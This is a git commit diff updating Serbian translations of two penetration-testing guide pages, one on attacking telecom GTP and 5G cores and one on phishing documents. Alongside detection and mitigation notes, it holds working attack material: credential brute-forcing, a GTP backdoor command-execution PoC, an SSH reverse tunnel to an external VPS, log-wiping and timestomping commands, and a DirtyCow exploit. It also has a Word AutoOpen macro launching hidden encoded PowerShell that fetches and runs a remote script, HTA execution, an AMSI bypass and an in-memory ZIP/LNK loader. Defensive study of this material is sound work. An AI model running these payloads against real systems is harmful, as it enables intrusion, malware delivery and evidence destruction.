Translated ['src/windows-hardening/active-directory-methodology/ad-certi

This commit is contained in:
Translator 2025-09-07 22:17:51 +00:00
parent 1d6b8ec830
commit a6726a59d5
3 changed files with 161 additions and 153 deletions

View File

@ -1,27 +1,27 @@
# Eksploatacija telekom mreža (GTP / roaming okruženja)
# Eksploatacija telekom mreža (GTP / Roaming Environments)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> Protokoli mobilne jezgre (GPRS Tunnelling Protocol GTP) često prolaze kroz polu-pouzdane GRX/IPX roaming backbone-ove. Pošto se prenose preko običnog UDP-a sa gotovo nikakvom autentifikacijom, **any foothold inside a telecom perimeter can usually reach core signalling planes directly**. Sledeće beleške sakupljaju ofanzivne trikove viđene u prirodi protiv SGSN/GGSN, PGW/SGW i drugih EPC čvorova.
> Mobilni core protokoli (GPRS Tunnelling Protocol GTP) često prolaze kroz polu-pouzdane GRX/IPX roaming backbones. Pošto idu preko plain UDP sa gotovo nikakvom autentifikacijom, **bilo koja pozicija unutar telekom perimetra obično može direktno dostići core signalling plane**. Sledeće beleške prikupljaju ofanzivne trikove primećene u divljini protiv SGSN/GGSN, PGW/SGW i drugih EPC čvorova.
## 1. Recon & Initial Access
### 1.1 Default OSS / NE Accounts
Iznenađujuće veliki broj vendor mrežnih elemenata isporučuje se sa hard-coded SSH/Telnet korisnicima kao što su `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Posvećen wordlist dramatično povećava brute-force uspeh:
Iznenađujuće veliki broj mrežnih elemenata dobavljača dolazi sa hard-coded SSH/Telnet korisnicima kao što su `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Posvećeni wordlist dramatično povećava uspeh brute-force-a:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
Ako uređaj izlaže samo management VRF, prvo pivot kroz jump host (pogledajte odeljak «SGSN Emu Tunnel» ispod).
Ako uređaj izlaže samo management VRF, prvo pivotirajte kroz jump host (pogledajte odeljak «SGSN Emu Tunnel» ispod).
### 1.2 Otkrivanje hostova unutar GRX/IPX
Većina GRX operatera i dalje dozvoljava **ICMP echo** preko backbone-a. Kombinujte `masscan` sa ugrađenim `gtpv1` UDP sondama kako biste brzo mapirali GTP-C slušače:
Većina GRX operatora i dalje dozvoljava **ICMP echo** preko backbone-a. Kombinujte `masscan` sa ugrađenim `gtpv1` UDP sondama da brzo mapirate GTP-C slušaoce:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Enumerating Subscribers `cordscan`
## 2. Enumeracija pretplatnika `cordscan`
Sledeći Go alat konstruše **GTP-C Create PDP Context Request** pakete i beleži odgovore. Svaki odgovor otkriva trenutni **SGSN / MME** koji opslužuje upitani IMSI i, ponekad, posećeni PLMN pretplatnika.
Sledeći Go alat sastavlja pakete **GTP-C Create PDP Context Request** i beleži odgovore. Svaki odgovor otkriva trenutni **SGSN / MME** koji opslužuje upitani IMSI i, ponekad, posećeni PLMN pretplatnika.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
@ -30,21 +30,21 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
Ključne opcije:
- `--imsi` Ciljni pretplatnik IMSI
- `--imsi` IMSI ciljnog pretplatnika
- `--oper` Home / HNI (MCC+MNC)
- `-w` Snima sirove pakete u pcap
- `-w` Zapiši raw packets u pcap
Važne konstante unutar binary mogu biti patched da prošire skeniranja:
Važne konstante unutar binarnog fajla mogu se izmeniti da bi se obim skeniranja povećao:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. Code Execution over GTP `GTPDoor`
## 3. Izvršavanje koda preko GTP `GTPDoor`
`GTPDoor` je mali ELF servis koji **veže se na UDP 2123 i parsira svaki dolazni GTP-C paket**. Kada payload počinje sa pre-shared tag-om, ostatak se dekriptuje (AES-128-CBC) i izvršava preko `/bin/sh -c`. stdout/stderr su exfiltrated unutar **Echo Response** poruka tako da nikakva izlazna sesija nikada nije kreirana.
`GTPDoor` je mali ELF servis koji **veže UDP 2123 i parsira svaki dolazni GTP-C paket**. Kada payload počinje sa pre-shared tag-om, ostatak se dešifruje (AES-128-CBC) i izvršava preko `/bin/sh -c`. stdout/stderr se eksfiltriraju unutar **Echo Response** poruka tako da nikada nije uspostavljena izlazna sesija.
Minimalni PoC paket (Python):
Minimalni PoC packet (Python):
```python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
@ -53,39 +53,39 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
Detekcija:
* bilo koji host koji šalje **unbalanced Echo Requests** to SGSN IPs
* GTP version flag set to 1 while message type = 1 (Echo) odstupanje od specifikacije
* bilo koji host koji šalje **unbalanced Echo Requests** prema SGSN IP adresama
* GTP version flag postavljen na 1 dok je message type = 1 (Echo) odstupanje od specifikacije
## 4. Pivoting kroz jezgro
## 4. Pivoting Through the Core
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` dolazi sa SGSN emulatorom sposoban da **establish a PDP context towards a real GGSN/PGW**. Nakon pregovora, Linux dobija novi `tun0` interfejs dostupan from the roaming peer.
`OsmoGGSN` isporučuje SGSN emulator sposoban da **establish a PDP context towards a real GGSN/PGW**. Nakon pregovora, Linux dobija novi `tun0` interfejs dostupan sa roaming peer-a.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
Uz pravilno firewall hair-pinning, ovaj tunel zaobilazi signalling-only VLAN-ove i dovodi vas direktno u **sloj podataka**.
With proper firewall hair-pinning, this tunnel bypasses signalling-only VLANs and lands you directly in the **sloj podataka**.
### 4.2 SSH Reverse Tunnel preko Port 53
DNS je skoro uvek otvoren u roaming infrastrukturama. Izložite internu SSH uslugu na svoj VPS koja sluša na :53 i kasnije se vratite iz kuće:
### 4.2 SSH Reverse Tunnel over Port 53
DNS je skoro uvek otvoren u roaming infrastrukturi. Izložite internu SSH uslugu na vašem VPS-u koja sluša na :53 i povežite se kasnije iz kuće:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
Proverite da li je `GatewayPorts yes` omogućeno na VPS-u.
Proverite da li je `GatewayPorts yes` omogućen na VPS-u.
## 5. Skriveni kanali
## 5. Tajni kanali
| Kanal | Transport | Dekodiranje | Napomene |
|---------|-----------|----------|-------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | čisto pasivni listener, bez odlaznog saobraćaja |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) kodirano u oktetima A-record zapisa | prati poddomen `*.nodep` |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob u privatnom IE | uklapa se sa legitimnim GTP-C saobraćajem |
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | potpuno pasivan, bez odlaznog saobraćaja |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) enkodirano u oktetima A-record zapisa | posmatra `*.nodep` poddomen |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob u private IE | meša se sa legitimnim GTP-C saobraćajem |
Svi implants implementiraju watchdogs koji **timestomp** njihove binarne fajlove i re-spawnuju se ako se sruše.
Svi implants implementiraju watchdogs koji **timestomp** njihove binarne fajlove i ponovo ih pokreću ako se sruše.
## 6. Defense Evasion Cheatsheet
## 6. Pregled tehnika izbegavanja detekcije
```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
```
## 7. Privilege Escalation na Legacy NE
## 7. Eskalacija privilegija na Legacy NE
```bash
# DirtyCow CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
@ -116,76 +116,76 @@ Savet za čišćenje:
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
## 8. Alati
## 8. Set alata
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` custom tooling described in previous sections.
* `FScan` : intranet TCP skeniranje (`fscan -p 22,80,443 10.0.0.0/24`)
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` custom tooling opisani u prethodnim sekcijama.
* `FScan` : skeniranje intraneta po TCP portovima (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS rogue WPAD
* `Microsocks` + `ProxyChains` : lagano SOCKS5 pivotiranje
* `Microsocks` + `ProxyChains` : lagani SOCKS5 pivoting
* `FRP` (≥0.37) : NAT traversal / asset bridging
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
Procedura 5G registracije se odvija preko NAS (Non-Access Stratum) na vrhu NGAP. Dok se NAS security ne aktivira preko Security Mode Command/Complete, inicijalne poruke nisu autentifikovane i nisu enkriptovane. Ovo pre-security prozor omogućava više putanja napada ako možete da posmatrate ili manipulišete N2 saobraćajem (npr. on-path unutar core-a, rogue gNB, ili testbed).
Procedura registracije u 5G ide preko NAS (Non-Access Stratum) na vrhu NGAP. Dok sigurnost NAS-a nije aktivirana preko Security Mode Command/Complete, inicijalne poruke nisu autentifikovane niti enkriptovane. Ovo pred-bezbednosno vreme omogućava više puteva napada kada možete da posmatrate ili menjate N2 saobraćaj (npr. on-path unutar core-a, lažni gNB, ili testbed).
Registration flow (pojednostavljeno):
- Registration Request: UE šalje SUCI (šifrovani SUPI) i capability-je.
Tok registracije (pojednostavljeno):
- Registration Request: UE šalje SUCI (šifrovani SUPI) i capabilities.
- Authentication: AMF/AUSF šalju RAND/AUTN; UE vraća RES*.
- Security Mode Command/Complete: NAS integritet i šifrovanje se pregovaraju i aktiviraju.
- PDU Session Establishment: IP/QoS podešavanje.
- Security Mode Command/Complete: pregovaraju se i aktiviraju NAS integrity i ciphering.
- PDU Session Establishment: podešavanje IP/QoS.
Lab setup saveti (non-RF):
- Core: Open5GS default deployment je dovoljan za reprodukciju flow-ova.
- UE: simulator ili test UE; dekodujte pomoću Wireshark.
- Active tooling: 5GReplay (capture/modify/replay NAS unutar NGAP), Sni5Gect (sniff/patch/inject NAS on the fly bez podizanja kompletnog rogue gNB).
Saveti za lab podešavanje (bez RF):
- Core: Open5GS default deployment je dovoljan za reprodukciju toka.
- UE: simulator ili test UE; dekodovati pomoću Wireshark.
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
- Korisni display filteri u Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Očekivano: UE/USIM mora da šalje SUCI (SUPI enkriptovan javnim ključem home-network-a). Pronalazak plaintext SUPI/IMSI u Registration Request ukazuje na problem privatnosti koji omogućava persistento praćenje pretplatnika.
Očekivano: UE/USIM mora da šalje SUCI (SUPI enkriptovan javnim ključem home network-a). Pronalazak plaintext SUPI/IMSI u Registration Request ukazuje na propust privatnosti koji omogućava trajno praćenje pretplatnika.
Kako testirati:
- Capturujte prvu NAS poruku u InitialUEMessage i pregledajte Mobile Identity IE.
- Wireshark quick checks:
- Trebalo bi da dekoduje kao SUCI, ne kao IMSI.
- Primer filtera: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` bi trebalo da postoji; odsustvo tog polja uz prisustvo `imsi` ukazuje na curenje.
- Presretnite prvu NAS poruku u InitialUEMessage i pregledajte Mobile Identity IE.
- Wireshark brze provere:
- Trebalo bi da dekodira kao SUCI, ne IMSI.
- Primer filtera: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` bi trebalo da postoji; odsustvo plus prisustvo `imsi` ukazuje na leakage.
Šta sakupiti:
- MCC/MNC/MSIN ako su izloženi; logujte po-UE i pratite kroz vreme/lokacije.
Šta prikupiti:
- MCC/MNC/MSIN ako su izloženi; logovati po-UE i pratiti preko vremena/lokacija.
Mitigacija:
- Enforce SUCI-only UEs/USIMs; alert na bilo koji IMSI/SUPI u inicijalnom NAS.
- Primorati SUCI-only UEs/USIMs; alarmirati na bilo koji IMSI/SUPI u inicijalnom NAS-u.
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Pozadina:
- UE advertajzuje podržane EEA (encryption) i EIA (integrity) u UE Security Capability IE Registration Request-a.
Background:
- UE advertises podržane EEA (encryption) i EIA (integrity) u UE Security Capability IE Registration Request-a.
- Uobičajene mape: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 su null algoritmi.
Problem:
- Pošto Registration Request nije integrity zaštićen, on-path napadač može da očisti capability bitove da bi primorao kasniji izbor EEA0/EIA0 tokom Security Mode Command. Neki stack-ovi pogrešno dozvoljavaju null algoritme i izvan emergency servisa.
- Pošto Registration Request nije integrity zaštićen, on-path napadač može očistiti capability bitove kako bi prisilio izbor EEA0/EIA0 kasnije tokom Security Mode Command. Neki stack-ovi pogrešno dozvoljavaju null algoritme i van emergency servisa.
Ofanzivni koraci:
- Intercept InitialUEMessage i modifikujte NAS UE Security Capability da advertajzuje samo EEA0/EIA0.
- Sa Sni5Gect, hook-ujte NAS poruku i patch-ujte capability bitove pre prosleđivanja.
- Posmatrajte da li AMF prihvata null cipher/integrity i završava Security Mode sa EEA0/EIA0.
- Presretnite InitialUEMessage i izmenite NAS UE Security Capability da oglašava samo EEA0/EIA0.
- Sa Sni5Gect, hook-ujte NAS poruku i iscribajte capability bitove pre prosljeđivanja.
- Posmatrajte da li AMF prihvata null ciphers/integrity i završava Security Mode sa EEA0/EIA0.
Verifikacija/vidljivost:
- U Wireshark, potvrdite izabrane algoritme posle Security Mode Command/Complete.
- Primer pasivnog sniffer output-a:
- U Wireshark-u, potvrdite izabrane algoritme nakon Security Mode Command/Complete.
- Primer izlaza pasivnog sniffera:
```
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
```
Mitigacije (mora):
- Konfigurišite AMF/policy da odbacuje EEA0/EIA0 osim tamo gde je strogo naloženo (npr. hitni pozivi).
- Preferirajte primenu EEA2/EIA2 kao minimum; zabeležite i podignite alarm za svaki NAS security context koji pregovara null algorithms.
Mitigacije (obavezno):
- Konfigurišite AMF/policy da odbija EEA0/EIA0 osim tamo gde je strogo propisano (npr. hitni pozivi).
- Poželjno je primenjivati EEA2/EIA2 kao minimum; logujte i podignite alarm za svaki NAS security context koji pregovara null algorithms.
### 9.3 Ponavljanje (replay) početnog Registration Request-a (pre-security NAS)
Pošto početni NAS nema integritet i svežinu, uhvaćeni InitialUEMessage+Registration Request mogu biti ponovo poslati AMF.
### 9.3 Replay of initial Registration Request (pre-security NAS)
Pošto initial NAS nema integritet i svežinu, uhvaćeni InitialUEMessage+Registration Request može biti replayed prema AMF.
PoC pravilo za 5GReplay za prosleđivanje podudarnih replay-a:
PoC pravilo za 5GReplay za prosleđivanje odgovarajućih replays:
```xml
<beginning>
<property value="THEN"
@ -209,31 +209,31 @@ boolean_expression="nas_5g.message_type == 65"/>
</beginning>
```
What to observe:
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
- Da li AMF prihvata replay i nastavlja sa autentikacijom; nedostatak validacije svežine/konteksta ukazuje na izloženost.
Mitigations:
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
- Sprovoditi zaštitu od replay-a / vezivanje konteksta na AMF; ograničiti stopu (rate-limit) i korelirati po GNB/UE.
### 9.4 Tooling pointers (reproducible)
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
- Open5GS: podignite AMF/SMF/UPF da emulirate core; posmatrajte N2 (NGAP) i NAS.
- Wireshark: proverite dekodiranje NGAP/NAS; primenite gore navedene filtere da izolujete Registration.
- 5GReplay: zabeležite registration, zatim replay-ujte specifične NGAP + NAS poruke prema pravilu.
- Sni5Gect: live sniff/modify/inject NAS control-plane da prisilite null algoritme ili poremete sekvence autentikacije.
### 9.5 Defensive checklist
- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
- Kontinuirano pregledajte Registration Request na plaintext SUPI/IMSI; blokirajte uređaje/USIMs koji krše pravila.
- Odbacujte EEA0/EIA0 osim u strogo definisanim hitnim procedurama; zahtevajte najmanje EEA2/EIA2.
- Otkrivajte rogue ili pogrešno konfigurisanu infrastrukturu: neautorizovani gNB/AMF, neočekivani N2 peers.
- Alarmirajte za NAS security modes koji rezultuju null algoritmima ili čestim replay-ovima InitialUEMessage.
---
## Ideje za detekciju
1. **Bilo koji uređaj osim SGSN/GGSN koji uspostavlja Create PDP Context Requests**.
2. **Nestandardni portovi (53, 80, 443) koji primaju SSH handshakes** iz internog IP prostora.
3. **Česti Echo Requests bez odgovarajućih Echo Responses** može ukazivati na GTPDoor beacone.
4. **Visoka stopa ICMP echo-reply saobraćaja sa velikim, nenultim identifier/sequence poljima**.
5. 5G: **InitialUEMessage koji nosi NAS Registration Requests ponovljene sa identičnih endpoint-a** (signal repleja).
6. 5G: **NAS Security Mode koji pregovara EEA0/EIA0** van konteksta hitnih procedura.
## Detection Ideas
1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
3. **Frequent Echo Requests without corresponding Echo Responses** might indicate GTPDoor beacons.
4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal).
6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts.
## References

View File

@ -1,40 +1,38 @@
# Phishing fajlovi i dokumenti
# Phishing fajlovi & dokumenti
{{#include ../../banners/hacktricks-training.md}}
## Office dokumenti
Microsoft Word vrši validaciju podataka fajla pre otvaranja. Validacija podataka se vrši u obliku identifikacije strukture podataka, u skladu sa OfficeOpenXML standardom. Ako dođe do bilo koje greške tokom identifikacije strukture podataka, fajl koji se analizira neće biti otvoren.
Microsoft Word vrši validaciju podataka fajla pre nego što otvori fajl. Validacija se obavlja u vidu identifikacije strukture podataka, u skladu sa OfficeOpenXML standardom. Ako se dogodi bilo kakva greška tokom identifikacije strukture podataka, fajl koji se analizira neće biti otvoren.
Obično Word fajlovi koji sadrže macros koriste `.docm` ekstenziju. Međutim, moguće je preimenovati fajl promenom ekstenzije i ipak zadržati mogućnost izvršavanja njihovih macros.\
Na primer, RTF fajl po dizajnu ne podržava macros, ali DOCM fajl preimenovan u RTF će biti tretiran od strane Microsoft Word i biće sposoban za izvršavanje macros.\
Isti internals i mehanizmi važe za sav softver iz Microsoft Office Suite (Excel, PowerPoint etc.).
Obično Word fajlovi koji sadrže makroe koriste ekstenziju `.docm`. Međutim, moguće je preimenovati fajl promenom ekstenzije i i dalje zadržati mogućnost izvršavanja makroa. Na primer, RTF fajl po dizajnu ne podržava makroe, ali `.docm` fajl preimenovan u RTF biće obrađen od strane Microsoft Word-a i biće sposoban za izvršavanje makroa. Ista interna logika i mehanizmi važe za sav softver iz Microsoft Office Suite (Excel, PowerPoint itd.).
Možete koristiti sledeću komandu da proverite koje ekstenzije će biti izvršavane od strane nekih Office programa:
Možete koristiti sledeću komandu da proverite koje će ekstenzije biti izvršavane od strane nekih Office programa:
```bash
assoc | findstr /i "word excel powerp"
```
DOCX fajlovi koji referenciraju udaljeni template (File Options Add-ins Manage: Templates Go) koji uključuje macros mogu takođe “izvršavati” macros.
DOCX files referencing a remote template (File Options Add-ins Manage: Templates Go) that includes macros can “execute” macros as well.
### Učitavanje eksternih slika
### Učitavanje spoljne slike
Idite na: _Insert --> Quick Parts --> Field_\
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
_**Kategorije**: Links and References, **Nazivi polja**: includePicture, and **Ime fajla ili URL**:_ http://<ip>/whatever
![](<../../images/image (155).png>)
### Macros Backdoor
Moguće je koristiti macros za pokretanje proizvoljnog koda iz dokumenta.
Moguće je koristiti macros za pokretanje arbitrary code iz dokumenta.
#### Funkcije za automatsko učitavanje
#### Autoload functions
Što su češće, to je verovatnije da će ih AV detektovati.
Što su češće, veća je verovatnoća da će ih AV otkriti.
- AutoOpen()
- Document_Open()
#### Macros Primeri koda
#### Macros Code Examples
```vba
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
@ -66,24 +64,24 @@ proc.Create "powershell <beacon line generated>
```
#### Ručno uklonite metapodatke
Idite na **File > Info > Inspect Document > Inspect Document**, što će otvoriti Inspektor dokumenta. Kliknite **Inspect** i zatim **Remove All** pored **Document Properties and Personal Information**.
Idite na **File > Info > Inspect Document > Inspect Document**, što će otvoriti Document Inspector. Kliknite **Inspect** i zatim **Remove All** pored **Document Properties and Personal Information**.
#### Ekstenzija dokumenta
Kada završite, izaberite padajući meni **Save as type**, promenite format sa **`.docx`** na **Word 97-2003 `.doc`**.\
Uradite ovo zato što **ne možete sačuvati makroe unutar `.docx`** i postoji **stigmatizacija** oko makro-omogućenog **`.docm`** formata (npr. sličica ima veliki `!` i neki web/email gateway-ovi ih potpuno blokiraju). Stoga je ova **nasleđena `.doc` ekstenzija najbolji kompromis**.
Uradite ovo zato što ne možete sačuvati **macros** unutar **`.docx`**, i postoji **stigmatizacija** **oko** macro-enabled **`.docm`** ekstenzije (npr. ikona sličice ima ogroman `!` i neki web/email gateway-ovi ih u potpunosti blokiraju). Stoga je ova **legacy `.doc` ekstenzija najbolje kompromisno rešenje**.
#### Malicious Macros Generators
#### Generatori zlonamernih Macros
- MacOS
- [**macphish**](https://github.com/cldrn/macphish)
- [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
## HTA Files
## HTA fajlovi
HTA je Windows program koji **kombinuje HTML i skriptne jezike (kao što su VBScript i JScript)**. Generiše korisnički interfejs i izvršava se kao aplikacija kojoj je u potpunosti verovano, bez ograničenja sigurnosnog modela pregledača.
HTA je Windows program koji **kombinuje HTML i skriptne jezike (kao što su VBScript i JScript)**. Generiše korisnički interfejs i izvršava se kao "fully trusted" aplikacija, bez ograničenja sigurnosnog modela pregledača.
HTA se izvršava pomoću **`mshta.exe`**, koji je obično **instaliran** zajedno sa **Internet Explorer**, što čini **`mshta` dependant on IE**. Dakle, ako je on deinstaliran, HTA fajlovi neće moći da se izvrše.
HTA se izvršava pomoću **`mshta.exe`**, koji se obično instalira zajedno sa **Internet Explorer**, što čini **`mshta`** zavisnim od IE. Dakle, ako je on deinstaliran, HTA fajlovi neće moći da se izvrše.
```html
<--! Basic HTA Execution -->
<html>
@ -138,9 +136,9 @@ var_func
self.close
</script>
```
## Forsiranje NTLM autentifikacije
## Forsiranje NTLM autentikacije
Postoji nekoliko načina da **forsirate NTLM autentifikaciju "remotely"**, na primer, možete dodati **nevidljive slike** u emailove ili HTML koje će korisnik otvoriti (čak i HTTP MitM?). Ili poslati žrtvi **adresu fajlova** koja će **pokrenuti** **autentifikaciju** samo otvaranjem fascikle.
Postoji nekoliko načina da **forsirate NTLM autentikaciju „na daljinu“**, na primer, možete dodati **nevidljive slike** u mejlove ili HTML koje će korisnik otvoriti (čak i HTTP MitM?). Ili poslati žrtvi **adresu fajlova** koja će **okidati** **autentikaciju** samo otvaranjem foldera.
**Pogledajte ove ideje i još više na sledećim stranicama:**
@ -156,24 +154,24 @@ Postoji nekoliko načina da **forsirate NTLM autentifikaciju "remotely"**, na pr
### NTLM Relay
Ne zaboravite da ne možete samo ukrasti heš ili autentifikaciju, već i **perform NTLM relay attacks**:
Ne zaboravite da ne možete samo ukrasti hash ili autentikaciju već i **perform NTLM relay attacks**:
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
Vrlo efikasne kampanje isporučuju ZIP koji sadrži dva legitimna decoy dokumenta (PDF/DOCX) i maliciozni .lnk. Trik je u tome da je stvarni PowerShell loader smešten unutar sirovih bajtova ZIP-a nakon jedinstvenog markera, a .lnk ga izdvoji i izvršava potpuno u memoriji.
Veoma efektivne kampanje isporučuju ZIP koji sadrži dva legitimno izgledajuća dokumenta (PDF/DOCX) i zlonamerni .lnk. Trik je u tome što je stvarni PowerShell loader smešten unutar sirovih bajtova ZIP-a nakon jedinstvenog markera, a .lnk ga izrezuje i izvršava u celosti u memoriji.
Tipičan tok koji implementira .lnk PowerShell one-liner:
1) Pronađi originalni ZIP u uobičajenim putanjama: Desktop, Downloads, Documents, %TEMP%, %ProgramData% i roditeljskom direktorijumu trenutnog radnog direktorijuma.
2) Pročitaj bajtove ZIP-a i pronađi hardkodovani marker (npr. xFIQCV). Sve posle markera je ugrađeni PowerShell payload.
3) Kopiraj ZIP u %ProgramData%, ekstrahuj tamo i otvori decoy .docx da bi izgledalo legitimno.
4) Zaobiđi AMSI za trenutni proces: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
5) Deobfuskuj sledeću fazu (npr. ukloni sve # karaktere) i izvrši je u memoriji.
1) Locate the original ZIP in common paths: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, and the parent of the current working directory.
2) Read the ZIP bytes and find a hardcoded marker (e.g., xFIQCV). Everything after the marker is the embedded PowerShell payload.
3) Copy the ZIP to %ProgramData%, extract there, and open the decoy .docx to appear legitimate.
4) Bypass AMSI for the current process: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
5) Deobfuskujte naredni stejdž (npr. uklonite sve # karaktere) i izvršite ga u memoriji.
Primer PowerShell kostura za izdvajanje i pokretanje ugrađene faze:
Primer PowerShell skeleta za izvlačenje i izvršavanje ugrađenog stejdža:
```powershell
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths = @(
@ -191,11 +189,11 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
Invoke-Expression $code
```
Napomene
- Dostava često zloupotrebljava ugledne PaaS poddomene (npr. *.herokuapp.com) i može uslovljavati payloads (servira benign ZIPs bazirano na IP/UA).
- Sledeća faza često dekriptuje base64/XOR shellcode i izvršava ga putem Reflection.Emit + VirtualAlloc kako bi se minimizovali artefakti na disku.
- Dostava često zloupotrebljava ugledne PaaS poddomene (npr. *.herokuapp.com) i može ograničiti payloads (poslužiti benigni ZIP prema IP/UA).
- Sledeća faza često dešifruje base64/XOR shellcode i izvršava ga putem Reflection.Emit + VirtualAlloc kako bi smanjila tragove na disku.
Persistence korišćena u istom lancu
